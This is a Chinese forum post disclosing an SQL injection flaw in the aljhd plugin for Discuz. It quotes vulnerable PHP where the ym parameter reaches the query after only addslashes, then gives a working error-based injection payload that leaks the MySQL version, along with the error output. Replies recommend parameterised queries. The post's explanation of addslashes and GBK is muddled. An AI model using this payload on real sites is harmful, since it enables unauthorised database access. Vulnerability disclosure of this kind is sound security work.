Discuz某插件sql注射漏洞
Author:SalineEmail:Nophacker@gmail.com
文件source/plugin/aljhd/aljhd.inc.php122行附近
}else{
$ymlist=C::t('#aljhd#alj_hd')->fetch_all_by_ym();
$typelist=C::t('#aljhd#alj_hd')->fetch_all_by_type();
$currpage=$_GET['page']?$_GET['page']:1;
$perpage=$config['page'];
$num=C::t('#aljhd#alj_hd')->count_by_ym_type_status($_GET['ym'],$_GET['type'],$_GET['status']);
$start=($currpage-1)*$perpage;
$hdlist=C::t('#aljhd#alj_hd')->fetch_all_by_ym_type_status($_GET['ym'],$_GET['type'],$_GET['status'],$start,$perpage);
$paging = helper_page :: multi($num, $perpage, $currpage, 'plugin.php?id=aljhd&ym='.$_GET['ym'].'&type='.$_GET['type'].'&status='.$_GET['status'], 0, 11, false, false);
include template('aljhd:index');
}
然后其中的fetch_all_by_ym fetch_all_by_type fetch_all_by_ym_type_status count_by_ym_type_status几个函数在
文件source/plugin/aljhd/table/table_alj_hd.php中找到了
class table_alj_hd extends discuz_table
{
public function __construct() {
$this->_table = 'alj_hd';
$this->_pk = 'id';
parent::__construct();
}
public function count_by_ym_type_status($ym,$type,$status){
$where=' where 1';
if($ym){
$where.=' and ym='.addslashes($ym); //对$ym进行了addslashes转换
}
.......
return DB::result_first('select count(*) from %t '.$where,array($this->_table));
}
public function fetch_all_by_ym_type_status($ym,$type,$status,$start,$perpage){
$where=' where 1';
if($ym){
$where.=" and ym='".addslashes($ym)."'";//对$ym进行了addslashes转换
}
$where.=' order by endtime desc';
if($perpage){
$where.=" limit $start,$perpage";
}
//拼接出来的语句就是 select count(*) from alj_hd where 1 and ym='.addslashes($ym) and type='.intval($type) and starttime<='.TIMESTAMP.' and endtime>='.TIMESTAMP;
return DB::fetch_all('select * from %t '.$where,array($this->_table));
}
public function fetch_all_by_ym(){
return DB::fetch_all('select ym,count(*) num from %t group by ym order by ym desc',array($this->_table));
}
public function fetch_all_by_type(){
return DB::fetch_all('select type,count(*) num from %t group by type',array($this->_table));
}
}
发现对其中的ym仅仅是做了addslashes处理，我们知道的addslashes编码仅仅是在gbk下才有作用，所有整个显得鸡肋
select count(*) from alj_hd where 1 and ym=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) and type=1
result:
(1062) Duplicate entry '5.5.29-log1' for key 'group_key'
http://0day5.com/wp-content/uploads/2014/03/123.jpg
Re: Discuz某插件sql注射漏洞
分析得很详细，addslashes在GBK下确实容易出问题，而且这里直接用拼接方式处理变量了，没有对字符集做限制。感谢分享漏洞细节，建议官方升级时改用参数化查询或强制转义后检查编码。Re: Discuz某插件sql注射漏洞
感谢分享！这个漏洞挺典型的，addslashes在GBK编码下确实容易出问题，开发者可能只考虑了单引号转义，却没注意宽字节注入。你给出的利用payload也很清楚，看来ym参数可以直接带入SQL语句执行。这样的注入风险对站点数据安全影响很大，建议插件作者尽快修复，最好用参数绑定或转义前先设置字符集。辛苦了！Re: Discuz某插件sql注射漏洞
感谢分享这个漏洞细节，分析得很清楚。确实，addslashes在GBK环境下存在宽字节注入风险，加上插件里直接拼接$ym到SQL里，即使转了义也不够安全。建议插件作者尽快将参数改为参数化查询（预编译）或者至少使用intval等强类型转换。同时提醒使用该插件的站长检查自身网站编码，如果是GBK的话特别危险。期待官方补丁。
页:
[1]